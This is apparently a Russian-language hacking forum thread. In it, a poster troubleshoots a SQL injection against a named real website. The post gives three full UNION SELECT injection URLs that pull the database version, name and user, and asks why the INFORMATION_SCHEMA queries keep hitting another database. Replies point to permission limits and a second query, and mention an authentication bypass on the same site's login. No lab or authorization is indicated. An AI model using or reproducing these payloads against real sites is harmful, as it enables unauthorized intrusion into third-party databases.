Не могу скулю понять
 

http://www.paperhockey.com/ListGifts.asp?ST=2&CAT=14+UNION+SELECT+concat_ws(0 x3a,VERSION(),DATABASE(),USER())+LIMIT+1,1--
Но блё
http://www.paperhockey.com/ListGifts.asp?ST=2&CAT=14+UNION+SELECT+concat_ws(0 x3a,VERSION(),DATABASE(),USER())+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1--
он какого-то х** ломится в БД simplethoughts хотя я ему указываю INFORMATION_SCHEMA :mad:
и даже вот так
http://www.paperhockey.com/ListGifts.asp?ST=2&CAT=14+UNION+SELECT+concat_ws(0 x3a,VERSION(),DATABASE(),USER())+FROM+ojaebualibabu.TABLES+LIMIT+1,1--
Он всёравно ломится в simplethoughts
ничё непонимаю... Если таблы нет онже сказать должен, ну даже если не скажет information_schema обязана быть, неужели нету прав в неё? Я такого никада невидел и не думал ваще чё такое реально :o
Брррр, убил тучу времени, пойду спать

Скорее всего грамотные права на information_schema..

Пончик, ты не думал что просто там два запроса?)

Там auth by pass, в авторизации =\